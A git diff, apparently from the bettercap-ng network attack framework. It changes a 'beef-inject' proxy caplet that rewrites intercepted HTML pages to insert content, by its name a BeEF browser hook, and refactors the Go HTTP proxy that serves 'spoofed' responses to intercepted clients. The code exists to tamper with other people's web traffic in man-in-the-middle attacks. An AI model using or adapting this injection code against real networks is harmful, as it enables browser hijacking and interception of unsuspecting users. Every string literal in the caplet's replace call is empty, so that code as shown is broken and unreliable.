diff --git a/caplets/beef-inject.js b/caplets/beef-inject.js index 43f393fd..5099b888 100644 --- a/caplets/beef-inject.js +++ b/caplets/beef-inject.js @@ -3,7 +3,14 @@ function onLoad() { } function onResponse(req, res) { - if( res.ContentType.indexOf("text/html") == 0 ){ - res.Body = res.ReadBody().replace( "", '' ); + if( res.ContentType.indexOf('text/html') == 0 ){ + var body = res.ReadBody(); + if( body.indexOf('') != -1 ) { + res.Body = body.replace( + '', + '' + ); + res.Updated(); + } } } diff --git a/session/modules/http_proxy.go b/session/modules/http_proxy.go index 9c4eccf0..0ed65364 100644 --- a/session/modules/http_proxy.go +++ b/session/modules/http_proxy.go @@ -9,6 +9,7 @@ import ( "github.com/elazarl/goproxy" + "github.com/evilsocket/bettercap-ng/core" "github.com/evilsocket/bettercap-ng/firewall" "github.com/evilsocket/bettercap-ng/session" ) @@ -25,6 +26,16 @@ type HttpProxy struct { script *ProxyScript } +func (p HttpProxy) logAction(req *http.Request, jsres *JSResponse) { + fmt.Printf("[%s] %s > '%s %s%s' | Sending %d bytes of spoofed response.\n", + core.Green("http.proxy"), + core.Bold(strings.Split(req.RemoteAddr, ":")[0]), + req.Method, + req.Host, + req.URL.Path, + len(jsres.Body)) +} + func NewHttpProxy(s *session.Session) *HttpProxy { p := &HttpProxy{ SessionModule: session.NewSessionModule(s), @@ -51,7 +62,6 @@ func NewHttpProxy(s *session.Session) *HttpProxy { })) proxy := goproxy.NewProxyHttpServer() - proxy.NonproxyHandler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) { if p.doProxy(req) == true { req.URL.Scheme = "http" @@ -65,9 +75,8 @@ func NewHttpProxy(s *session.Session) *HttpProxy { if p.script != nil { jsres := p.script.OnRequest(req) if jsres != nil { - log.Infof("Sending %d bytes of spoofed response to %s.", len(jsres.Body), req.RemoteAddr) - resp := jsres.ToResponse(req) - return req, resp + p.logAction(req, jsres) + return req, jsres.ToResponse(req) } } return req, nil @@ -77,8 +86,8 @@ func NewHttpProxy(s *session.Session) *HttpProxy { if p.script != nil { jsres := p.script.OnResponse(res) if jsres != nil { - log.Infof("Sending %d bytes of spoofed response to %s.", len(jsres.Body), res.Request.RemoteAddr) - res = jsres.ToResponse(res.Request) + p.logAction(res.Request, jsres) + return jsres.ToResponse(res.Request) } } return res diff --git a/session/modules/proxy_script.go b/session/modules/proxy_script.go index e8e95704..9da9ce75 100644 --- a/session/modules/proxy_script.go +++ b/session/modules/proxy_script.go @@ -76,7 +76,6 @@ func (j *JSResponse) ReadBody() string { } j.Body = string(raw) - j.Updated() return j.Body } @@ -153,7 +152,7 @@ func (s ProxyScript) resToJS(res *http.Response) *JSResponse { } } -func (s *ProxyScript) doDefines(req *http.Request) (err error, jsres *JSResponse) { +func (s *ProxyScript) doRequestDefines(req *http.Request) (err error, jsres *JSResponse) { jsreq := s.reqToJS(req) if err = s.VM.Set("req", jsreq); err != nil { log.Errorf("Error while defining request: %s", err) @@ -169,7 +168,7 @@ func (s *ProxyScript) doDefines(req *http.Request) (err error, jsres *JSResponse return } -func (s *ProxyScript) doDefinesFor(res *http.Response) (err error, jsres *JSResponse) { +func (s *ProxyScript) doResponseDefines(res *http.Response) (err error, jsres *JSResponse) { jsreq := s.reqToJS(res.Request) if err = s.VM.Set("req", jsreq); err != nil { log.Errorf("Error while defining request: %s", err) @@ -191,7 +190,7 @@ func (s *ProxyScript) OnRequest(req *http.Request) *JSResponse { s.gil.Lock() defer s.gil.Unlock() - err, jsres := s.doDefines(req) + err, jsres := s.doRequestDefines(req) if err != nil { log.Errorf("Error while running bootstrap definitions: %s", err) return nil @@ -217,7 +216,7 @@ func (s *ProxyScript) OnResponse(res *http.Response) *JSResponse { s.gil.Lock() defer s.gil.Unlock() - err, jsres := s.doDefinesFor(res) + err, jsres := s.doResponseDefines(res) if err != nil { log.Errorf("Error while running bootstrap definitions: %s", err) return nil